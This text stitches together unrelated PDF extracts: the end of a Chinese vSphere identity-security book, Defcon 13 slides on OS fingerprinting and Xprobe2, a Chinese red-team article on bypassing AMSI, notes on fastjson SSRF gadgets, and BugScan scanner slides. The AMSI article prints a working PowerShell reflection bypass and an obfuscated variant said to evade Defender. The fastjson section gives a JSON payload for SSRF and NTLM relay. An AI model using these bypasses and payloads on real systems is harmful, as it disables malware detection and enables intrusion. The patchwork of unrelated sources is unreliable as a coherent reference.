则是获取管理员的身份权限,对于此类威胁的防御,我们面临着与过去截然不同的 挑战,基于身份行为的隐匿攻击将成为我们发现未知威胁的一个重要目标。而在未 来,ITDR 将深入企业的安全防护体系,从身份视角深度保护 vSphere。 本书从身份攻防的视角分析了 vSphere 的各攻击面,并对于 vSphere 的加固 提出了针对性的参考建议,旨在通过深入了解攻击者行为的前提下,进一步加强 vSphere 的安全建设。 当您开始意识到 vSphere 正在面临网络攻击威胁并尝试对其进行监测、防御时, 您可能会注意到 ITDR 的存在,以及其在 vSphere 身份威胁检测方面发挥的作用。 那么本书将为您提供一个心智模型,说明您应该如何思考推动 vSphere 的风险管理 工作。这当然不仅仅是 CISO 或某个 领导的工作——您应该利用这些知识并在你的 团队中传播它。考虑组建一个 “Identity security team”,专注于规划您的 ITDR 建设章程在未来 30 天、6 个月和几年内将如何发展。 6. 结语 131 ITDR 之 vSphere 132
pdf
1 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools On the Current State of Remote Active OS Fingerprinting Tools Ofir Arkin CTO ofir.arkin@insightix.com Defcon 13 2 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools What this talk is about?  This talk examines different aspects of remote active operating system fingerprinting – Examines different active OS fingerprinting methods & techniques – Discusses their limitations and advantages – Explains the state of the current used technology – Deals with the question of what can and cannot be accomplished using remote active OS fingerprinting – Looks at what should be done in the future – Analyzes the accuracy aspects of remote active OS fingerprinting and of several active OS fingerprinting tools  Presents the new version of Xprobe2 (Xprobe2 v0.3) 3 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Ofir Arkin  CTO and Co-Founder, Insightix http://www.insightix.com  Founder, The Sys-Security Group http://www.sys-security.com  Computer Security Researcher – Infrastructure Discovery • ICMP Usage in Scanning • Xprobe2 (The Active OS Fingerprinting Tool) – VoIP Security – Information Warfare  Member – VoIPSA (Board member, chair security research committee) 4 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Remote Active OS Fingerprinting An Introduction 5 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools An Introduction  Remote Active operating system fingerprinting is the process of actively determining a targeted network node’s underlying operating system by probing the targeted system with several packets and examining the response(s), or lack thereof, received  The traditional approach is to examine the TCP/IP stack behavior (IP, TCP, UDP, and ICMP protocols) of a targeted network element when probed with several legitimate and/or malformed packets 6 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools An Introduction  The received results would then be compared to a signature database in an effort to find an appropriate match  Remote active OS fingerprinting is not limited to the IP and Transport layers only  The application layer can be used as another venue for information gathering about the underlying operating system 7 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools An Introduction  The way of operation of an active OS fingerprinting tool varies from one remote active OS fingerprinting tool to another – The OS fingerprinting tests used (i.e. what does it check for) – The type of packets sent (i.e. RFC compliant, crafted) – The number of packets sent – Other variables 8 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools An Introduction  Identifying the underlying operating system of a network element, whether remote or local, is an important parameter for the success of many processes in the networking and security world  Building a network inventory, getting the right context for network intrusion detection systems, and performing a vulnerability analysis are all good examples among many other for the use of active operating system fingerprinting 9 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Remote Active OS Fingerprinting Strengths 10 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Strengths  Control over the parameters to scan for (i.e. the stimulus)  Control over the pace of the scan and its initiation  Provides with fast results  Can cover entire IP address ranges  Can be used from a single point to scan multi-points  Can be used from multi points to scan multi-points 11 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Remote Active OS Fingerprinting Weaknesses 12 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Weaknesses  The weaknesses of remote active OS fingerprinting are divided into: – Scanning conditions and environmental effects – Operation of the OS fingerprinting process – Signature DB related issues – Tool related issues 13 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Weaknesses Scanning conditions and environmental effects 14 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Scanning Conditions & Environmental Effects  There is no control over the quality of the scan  The quality of the scan is directly affected by the environment – The location of the scanning system and the target system and what is between them (local network, remote network, over the Internet) • The path between the scanning element to the target element (firewalls, load balancers, scrubbers, etc.) • The target element itself (i.e. personal firewall, tunable parameters, etc.)  Lack of intelligence (i.e. to determine the terrain and the limitations of the scan, switching scanning tactics, ‘understand’ results) 15 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Network Obstacles  A remote active OS fingerprinting tool will be able to detect the underlying operating system of an element which will be operational (‘up’) on the network at the time of the scan. This is if the packets sent by the tool are able to reach the probed elements, and that the probed element’s OS signature is included with the tool’s signature DB  Network obstacles such as Network firewalls, host- based firewalls, NAT enabled devices, load balancers and other, may block probe packets from reaching their target 16 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Network Obstacles 17 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Network Obstacles 18 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Network Obstacles  If a remote active operating system fingerprinting tool relies on sending and/or receiving of particular packet types and those packets are dropped by a firewall protecting the target system(s) chances are that the quality of the results would be degraded to the point false results or no results at all will be produced 19 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Different Networking Devices May Alter A Packet’s Field Value  A networking device along the path between the source system to its destination may alter one, or more, field values which are relevant to the OS fingerprinting process  This would result with issues determining what is the targeted machines underlying operating system  Example: Scrubbers 20 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The Use of Crafted/Malformed Packets  If malformed packets are used with the OS fingerprinting process, a filtering device (and even an end point device) may drop the packets, if the device analyzes packets for non-legitimate content  Therefore the quality of the results produced by utilizing a fingerprinting tests relying on malformed packets will be degraded and in some cases even fail  Malformed packets may have another affect, they might cause some TCP/IP stacks to crash 21 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools A TCP/IP Stack’s Behavior Might Be Altered  Some characteristics of a TCP/IP stack’s behavior may be altered: – Tunable parameters of the TCP/IP stack might be changed e.g. the sysctl command on the various *BSDs, the ndd command on Sun Solaris, etc. – Numerous patches exist for some open source operating system’s kernels that alter the way the particular operating system’s TCP/IP stack responses to certain packets 22 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools A TCP/IP Stack’s Behavior Might Be Altered  If a remote active operating system fingerprinting tool is using some of the TCP/IP based parameters that can be altered as part of its fingerprinting test, the quality of the results would be effected and questionable when these parameter values will be altered 23 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Weaknesses Signature DB Related Issues 24 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Signature DB related issues  The signature DB is one of the most important parts of an active OS fingerprinting tool  The quality of the results produced by an OS fingerprinting tool is directly affected by the way the signature database of a tool was built and is maintained  If signatures submitted to the database were and are obtained in a wrongfully manner than the signature database should be regarded as corrupt  The results produced by the tool will not be accurate, this even if the tool would use the most advanced fingerprinting tests 25 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Producing Signatures  Producing signatures is an important process – Signatures must be produced in a controlled environment – The test device must be controlled – The terrain must not harm the process – A lab is the must appropriate signature production environment  Examples for problems – Lab environment vs. Internet – When there is no understanding of the process: ‘Let’s fingerprint this firewalled device’ 26 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Strictly controlled vs. Loosely controlled signature DB  Strictly controlled – Signatures are inserted to the DB only after verification (usually only by a tool maintainer) – Usually is a slower process – Limitation of the number of signatures / devices – Extremely accurate  Loosely controlled – Signatures are submitted over the internet – Signature creation process is not controlled – Many signatures are produced in a wrongfully manner – Creates an uncontrolled DB – Extremely inaccurate 27 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools What do we fingerprinting?  When fingerprinting operating systems we fingerprint the way an operating system (the software) reacts to different fingerprinting probes a tool uses  With a hardware based device we fingerprint the way a device’s firmware reacts to the different fingerprinting probes 28 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools What do we fingerprinting?  Hardware based devices of the same manufacture will usually run the same, or a slightly different, firmware (a.k.a software) version  It will be either one version for all, or a particular version for a particular functionality 29 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools What do we fingerprinting?  Example I: Cisco IOS – A Cisco 7200 router will be fingerprinted exactly the same as Cisco’s Aironet 1100/1200 wireless access points – They run the same operating system - Cisco IOS – It is impossible to tell their use (I.e. router, wireless access point) according to traditional TCP/IP stack based active OS fingerprinting  Example II: – Foundry Networks IronWare operating system (Net/Fast/Big Iron family)  Example III: – Printers (i.e. HP Printers – it is not about their modules but rather it is their firmware), etc. 30 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools What do we fingerprinting?  Unfortunately with many active OS fingerprinting tools these issues were not taken into account  These tools have a corrupted DB 31 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The inability to implement new fingerprinting tests due to DB population and control problems  When a new fingerprinting test is implemented a signature DB of an active OS fingerprinting tool needs to be updated to reflect the addition of the new test  An uncontrolled signature DB cannot handle new fingerprinting tests, since some of its signatures cannot be rebuilt, expanded, or recreated to reflect the addition of the new test  This can creates differences in the quality of the signatures 32 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Weaknesses Operation of the OS fingerprinting tool 33 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The Way Probe Results Are Being Matched  Scan results needs to be compared to the signature DB in order to find a match  The comparison process can be done either using: – Strict signature matching – Statistical analysis approach 34 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The Way Probe Results Are Being Matched  A Strict Signature Matching based Tool – Would search for a 100% match between the received results and a tool’s signature database – If a 100% match is not found, than there are no results – Extremely sensitive to environmental affects on the probed target, and on the network which the probed target resides on 35 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The Way Probe Results Are Being Matched  Statistical based algorithms (the best match) – Using statistical based algorithms a tool is able to provide with better resistance against environmental affects which might take their toll on a target system and on probe packets – Some fingerprinting tests may have bigger impact over the overall accuracy of the test results compared with other tests used. Their failure may or may not harm with the ability to provide with granular results (i.e. not grouped) – Remark: Xprobe2 was the first open source tool to implement a statistical analysis based mathematical algorithm (‘fuzzy logic’) to provide with a best effort match between probe results to a signature database 36 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The Use of a Fixed Number of Fingerprinting Tests  A fixed number of fingerprinting tests are used  A fixed number of parameters are examined  In theory: Possible matches = the number of tests X number of parameters examines X parameter’s permutations  Although the overall number of possible matches is currently much higher than the number of the current available network elements, certain test classes cannot deliver the expected results and to provide with a clear distinction between different OSs 37 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The Use of a Fixed Number of Fingerprinting Tests  A better tool for active OS fingerprinting would be required to utilize fingerprinting tests, which would examine many parameter values with a probe’s reply  These parameter values would need to be different among many TCP/IP stack implementations  Therefore a number of those tests are needed in order to achieve a broader distinction between different TCP/IP stack implementations  It suggests that the usage of more parameter rich fingerprinting tests with an active operating fingerprinting tool will provide better overall results  An active operating system fingerprinting tool must, therefore, reserve the ability to be able to support new fingerprinting methods as they are published 38 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Some Fingerprinting Tests May Have Bigger Impact on the Overall Results  Some fingerprinting tests have bigger impact over the overall accuracy of the test results compared with other tests used  If these tests fail, for some reason, the quality of the produced results will be significantly lowered 39 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools No Changes Are Made To the TCP/IP Stacks Of New Versions Of Operating Systems  The behavior of the TCP/IP stack of newly released operating systems hardly changes compared to an older version of the same operating system, or  Changes made to a newly released operating system’s TCP/IP stack might affect a certain protocol behavior only  The result? Inability of some active operating system fingerprinting tools which rely on a certain fingerprinting niche to distinguish between different versions of the same operating system or even between a class of the same operating system family 40 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The Inability to Determine the Exact Windows OS Service Pack  Traditional active operating system fingerprinting tools are usually unable to identify the installation of software service packs on a targeted machine  For example, traditional active operating system fingerprinting tools will identify a targeted machine runs Microsoft Windows 2000, but will not be able to determine which OS service pack version is installed (if any at all) 41 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The Inability to Identify the Underlying Architecture Platform  Usually, active operating system fingerprinting tools will identify the operating system of a network node, but not its underlying platform  The knowledge about the underlying platform is important for tools performing vulnerability assessment, network inventory, etc., which rely on the results of the active operating system fingerprinting tool (i.e. nessus) 42 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The Inability to Scale  An active operating system fingerprinting tool should have the ability to scan large networks  Must not use many packets to do so  For any router and switch there is an upper limit to the number of packets per second it can process  Beyond that limit, some packets will be dropped, but more important, the router/switch might suffer from a denial of service condition  Therefore it is very important to balance the scan rate with the network and network elements abilities 43 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Inability to Control the Fingerprinting Modules to Be Executed  When scanning different machines on different topologies some tests would be proved useless  Controlling which tests to use would result with better accuracy and less chance of being detected  One needs to control the fingerprinting tests a certain tool has to offer according to her/his needs  Furthermore, we would like an active OS fingerprinting tool to be able to detect certain scanning conditions and to react, by switching scanning tactics 44 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Weaknesses Summary 45 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Weaknesses - Summary  The OS fingerprinting methods a certain remote active OS fingerprinting tool uses requires that the scanning conditions would meet several conditions in order to produce with a successful identification of the underlying operating system of a remote machine  Some of those conditions cannot be met under several scanning terrains  One good example would be a web server behind a well fortified firewall 46 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Weaknesses - Summary  Since some of the OS fingerprinting tests a remote active OS fingerprinting tool would use may fail, the accuracy of the tool will be degraded when optimal scanning conditions would not be met  If the OS fingerprinting tests which would fail, would be those with the bigger impact on the accuracy of the tool’s result, the result the tool would produce would be poor at best 47 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Weaknesses - Summary  The currently used TCP/IP-based OS fingerprinting test are not granular enough with their results (i.e. Microsoft Windows based OSs) 48 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Other approaches and their limitations 49 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Other approaches and their limitations  Some researchers suggested to use a certain OS fingerprinting niche to fingerprint the underlying operating systems of remote machines in light of Internet conditions  The suggested tests would use an opened TCP port, and only would examine the TCP stack implementation of the remote machine  Some of those tests requires specific data to be exchanged between the scanning system to its target element, and a great number of packets to be exchanged 50 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Other approaches and their limitations  The main problem of this approach is that this approach is ok to use when you wish to identify families of operating systems and not an exact operating system version  Another issue with this approach is that some other tests, which are currently available with open source remote active OS fingerprinting tools, produces the same quality of results when run against an opened TCP port with a single packet… 51 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The Needed Solution 52 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The Needed Solution  Intelligence in scanning must be introduced  Understanding of the terrain a tool operates in is crucial  An active OS fingerprinting tool must understand the quality of the results received  More tests needs to be evaluated in order to find more OS fingerprinting tests which will have significance in the OS fingerprinting process 53 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The Needed Solution  An integration between Stack-based OS fingerprinting tests and application layer based fingerprinting tests tailored towards the services found opened on a targeted system(s) and/or a service commonly found with the operating system family in question, must be created 54 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The Needed Solution 55 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Xprobe2 56 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The Xprobe2 Project  An open source remote active OS fingerprinting tool, which presents an alternative to other remote active OS fingerprinting tools  Developers – Fyodor Yarochkin – Ofir Arkin – Meder Kydyraliev  The project represents our take, beliefs and ideas, and we hope it contributes to the community at large  Voted one of the top 75 security tools (at the top 50) 57 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Xprobe2 - Project History 58 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Xprobe2 The OS Fingerprinting Modules 59 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The OS Fingerprinting Modules 60 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools The OS Fingerprinting Modules  What is usually needed? – Opened TCP port – Closed TCP port – Closed UDP port – ICMP echo reply – ICMP timestamp reply – Address Mask reply 61 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Introducing Xprobe2 v0.3 62 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Featured added to Xprobe2 v0.3  Application-based OS fingerprinting modules – SMB – SNMP  New signatures – Mac OS X 10.2.x, 10.3.x, 10.4.x – Linux Kernels 2.4.29, 2.4.30, 2.6.11, 2.6.12 – FreeBSD 4.11, 5.4 – OpenBSD 3.7  Bug fixes  Available for download from: http://www.sys-security.com 63 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Xprobe2 v0.3 Demo 64 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Xprobe2 v0.3 Demo 65 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Remote Active OS Fingerprinting Future Directions 66 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Future Directions  Automating the active OS fingerprinting scan to understand the terrain  Switch scanning tactics according to the terrain  Evaluate the quality of the results received  Determine if the results received are good enough to be presented  Present results 67 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Questions? 68 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Resources  Ofir Arkin’s Web Site: http://www.sys-security.com  Arkin Ofir, “ICMP Usage in Scanning” version 3.0, June 2001  Arkin Ofir & Fyodor Yarochkin, “X – Remote ICMP based OS fingerprinting Techniques”, August 2001.  Arkin Ofir & Fyodor Yarochkin, “ICMP based remote OS TCP/IP stack fingerprinting techniques”, Phrack Magazine, Volume 11, Issue 57, File 7 of 12, Published August 11, 2001. 69 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Resources  Arkin Ofir & Fyodor Yarochkin, “Xprobe2 - A ‘Fuzzy’ Approach to Remote Active Operating System Fingerprinting”, August 2002.  Arkin Ofir, Fyodor Yarochkin, Meder Kydyraliev, “The Present & Future of Xprobe2 – Next Generation Active Operating System Fingerprinting ”, July 2003. 70 © Ofir Arkin, 2000-2005 Ofir Arkin, On the Current State of Remote Active OS Fingerprinting Tools Thanks!
pdf
Bypass AMSI的前世今生(3) - 脚本混淆和一行命令关闭AMSI 0x00 前言 本文的主要讲解[BA2-3],也就是脚本混淆和一行命令关闭AMSI的原理,而不是具体的脚本混淆方法。 混淆方法其实就是对脚本语法的理解,然后加入各种额外字符或换一种表示方法。混淆姿势细致繁复, 并且在网上已有比较全面的脑图和总结文章,在此就没必要重复了,相关推荐资料会在文末贴出。本文 主要分为以下几个部分: 为什么脚本混淆能够过AMSI 一行命令关闭AMSI原理 [BA2]和[BA3]配合达到关闭AMSI的作用 学习建议,工具和相关资料推荐 0x01 为什么脚本混淆能够过AMSI “脚本混淆能够过AMSI”,这句话其实是不正确的,本系列第一篇文章中已经解释过了AMSI其实只是一个 通道,真正识别是否是恶意软件或脚本的还是杀毒软件(例如:defender)。因此脚本混淆欺骗的是杀 毒软件的特征库,当然具体杀毒软件怎么来识别有很多种方法。 AMSI把我们的恶意脚本交给杀毒软件,杀毒软件做识别。目前大部分的识别方式还是特征码的方式,当 然杀毒软件也会把样本传到云端做机器学习或者人工分析,最后再反馈特征库给杀毒软件,导致我们恶 意脚本被杀,这也就是为什么我们能过一时杀软但是几天后也就被杀了的原因。 “脚本混淆能够过AMSI”准确的说应该是“脚本混淆能够过杀毒”。因此脚本混淆能不能有用取决于杀软厉 不厉害。但当前脚本混淆依旧有用是因为大部分杀软对恶意脚本的侦测还是特征码。 0x02 一行命令关闭AMSI原理 通过0x01我们知道AMSI只是一个通道,我们把这个通道掐断,也就阻断了杀毒软件的侦测,而Matt Graeber在16年提出了一种方法: Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-22 No. 1 / 4 - Welcome to www.red-team.cn 原理已经被很多文章分析:https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-loggi ng-evasion/,具体的小伙伴可以阅读以上文章,简单的说就是利用反射直接把判断是否要使用杀毒软件 进行扫描的变量始终改成false。这样AMSI就不会把我们的恶意脚本交给杀毒软件,而是直接返回 AMSI_RESULT_NOT_DETECTED 。 0x03 结合上面2种方法关闭AMSI 通过以上我们知道混淆是能够过杀毒软件的,通过“一行命令”是可以掐断AMSI通道了。由于这一行命令 也是脚本,自身会被AMSI传递给杀毒软件,并被查杀。因此我们结合以上2中方法,通过混淆“一行命 令”来过杀软,并掐断AMSI通道。这样我们再执行任何恶意脚本都不会被传递给杀毒。 下面我们来实践一下: 测试环境: Windows 10 21H1(10.0.19043.1237) Powershell 5.1.19041.1237 Defender 1.349.1192.0 (2021/09/22) 原始脚本: 根据这个脚本,如果把特征提取在函数上,很容易造成误报,因此很有可能特征是在 System.Management.Automation.AmsiUtils 和 amsiInitFailed 上,我们去掉测试一下。 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiI nitFailed','NonPublic,Static').SetValue($null,$true) [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiI nitFailed','NonPublic,Static').SetValue($null,$true) Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-22 No. 2 / 4 - Welcome to www.red-team.cn 我偷个懒,前段时间在星球发了一个混淆脚本,但是目前已经不能过了: 我们对这个脚本进行拆解: 这段bypass的核心思想也就是对 System.Management.Automation.AmsiUtils 和 amsiInitFailed 的 关键字符进行编码解码。我只是对脚本进行了拆解,发现就已经能过了: $A="5492868772801748688168747280728187173688878280688776828" $B="1173680867656877679866880867644817687416876797271" [Ref].Assembly.GetType([string](0..37|%{[char][int](29+ ($A+$B).substring(($_*2),2))})-replace " " ).GetField([string](38..51|%{[char] [int](29+($A+$B).substring(($_*2),2))})-replace " ",'NonPublic,Static').SetValue($null,$true) //System.Management.Automation.AmsiUtils和amsiInitFailed的编码数据 $a="5492868772801748688168747280728187173688878280688776828" $b="1173680867656877679866880867644817687416876797271" //对System.Management.Automation.AmsiUtils进行解码 $c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " " $d=[Ref].Assembly.GetType($c) //对amsiInitFailed进行解码 $e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " " $f=$d.GetField($e,'NonPublic,Static') //组合起来执行 $f.SetValue($null,$true) Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-22 No. 3 / 4 - Welcome to www.red-team.cn 0x04 学习建议 结合[BA2]和[BA3]是能够很好的bypass AMSI的,其中2个关键点: 找到查杀的关键字符,目前来看就是 System.Management.Automation.AmsiUtils 和 amsiInitFailed ,这个变动的可能不大,以后很长一段时间内都是这2个字符 自己编写一个编码解码方法,例如上文中的: [string](0..37|%{[char][int](29+ ($a+$b).substring(($_*2),2))})-replace " " 我们要编写一个编码解码方法,肯定是需要一些powershell知识的,推荐一些学习资料: https://docs.microsoft.com/zh-cn/powershell/scripting/learn/ps101/00-introduction?view=po wershell-7.1 https://mp.weixin.qq.com/s/Sg0LK8emSWP1m-yds4VGrQ 其他可以google找找,很多很丰富。 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-22 No. 4 / 4 - Welcome to www.red-team.cn
pdf
fastjson net.sf.json-lib org.json JSON-lib org.json Java Jacksongson fastjson json-lib/org.json SSRF fastjson URL fastjson Java autotype java.net.URL java.net.URL URL get URL URL getContent() fastjson getContent() fastjson 1.2.76 SSRF new URL(...).getContent(); new URL(...).openStream(); new URL(...).openConnection().connect(); fastjson JSONPath JSON get getContent() json-lib org.json getContent getContent json-lib JSONObject fromObject()put() containsValue org.json JSONObject org.json json-lib get fastjson JSON org.json/json-lib fastjson fastjson issue fastjson json-lib net.sf.json.JSONObject java.util.Map fastjson Map com.alibaba.fastjson.parser.deserializer.MapDeserializer java.util.Map Yongtao Wang & Yang Zhang - NTLM Relay Risk Is Coming_ A New Exploit Technique Makes It Reborn Java+Windows SSRF rce gadget NTLM Hash TypeReference<Map<String, Object>> typeReference = new TypeReference<Map<String, Object>>() { }; Map<String, Object> stringObjectMap = JSON.parseObject(" {\"@type\":\"net.sf.json.JSONObject\",\"a\": {\"@type\":\"net.sf.json.JSONObject\",\"x\": {\"@type\":\"java.net.URL\",\"val\":\"http://127.0.0.1:2333\"}}}", typeReference); exploit 5alt/UltraRelay ubuntu http Windows server 2008 java.net.URL http NTLM Hash NTLM Hash springboot fastjson httpMessageConverter RequestMapping @RequestBody fastjson JSON.parse SSRF json fastjson json Map fastjson Map Map JSON JSON JSON JSON Map API fastjsonJSON-liborg.json jackson gson json json
pdf
Bugscan 基于插件众筹的分布式 漏洞扫描平台 契机 团队 功能 特点 契机 团队成员 BugScan和圈子成员 马坤(cnfjhh) 公司&团队负责人 12年信息安全领域专家 专注于网络安全前沿研 究 陈震国(Zero) BugScan扫描引擎研发 10年全栈工程师经验 玩转各种编程语言 著名的Hijack、Gh0st、 Arpspoof作品的作者 赵培源(半块西瓜 皮) BugScan扫描框架研发 7年以上python功底 熟悉各种漏洞原理 漏洞圈子的作者 贾林杰(不流畅) BugScan插件审核 5年以上底层固件研发 经历 圈子插件审核员 武成军 BugScan开发 10年以上C++开发经验 团队成员 圈子(社区)核心成员 Medici.Yan 擅长各种系统服务的协议分析 range 擅长各种web程序的漏洞 Wyc0 能将各种热门漏洞收集分析,迅速写成漏 洞插件 功能 服务的扫描 snmp rsync memcache smb socks5 nfs进行弱口令爆破和漏洞扫 描 功能 Web扫描 struts2 功能 扫描器常规功能 功能 我是功能 网络设备 特点 历时四年,五次重构 01 02 05 03 04 Bugscan 基于插件众筹的分布式 漏洞扫描平台 01.跨平台 核心扫描引擎使用python编写 不受操作系统限制 创建节点无需下载第三方安装包 05.高速、稳定 前端使用angularjs框架与rest技术 后端采用go语言开发 可承受更多的节点并发执行任务 02.分布式 一句命令即可创建节点 多节点自动负载均衡 03.云插件 节点无需操作 自动升级最新的插件 04.漏洞库 漏洞库实时更新 现已有2万余条漏洞记录 www.BugScan.net 特点 跨平台 分布式 特点 云插件 特点 漏洞库 特点 扫描报告 特点 圈子 产品介绍 时间轴 2月5 4月1 6月1 Bugscan正式上线 仅开放注册1周,注册人数突破2000 (之后为邀请码注册阶段) 插件由发布时的90个增长到500多个,注 册人数增加到8000个 圈子(社区)上线 Q.BugScan.net 业界第一个基于扫描框架和插件研究的圈子 目前已扫描超过100万的目标,600万余条漏洞记录 https://www.bugscan.net/ THANKS FOR YOUR WATCHING
pdf
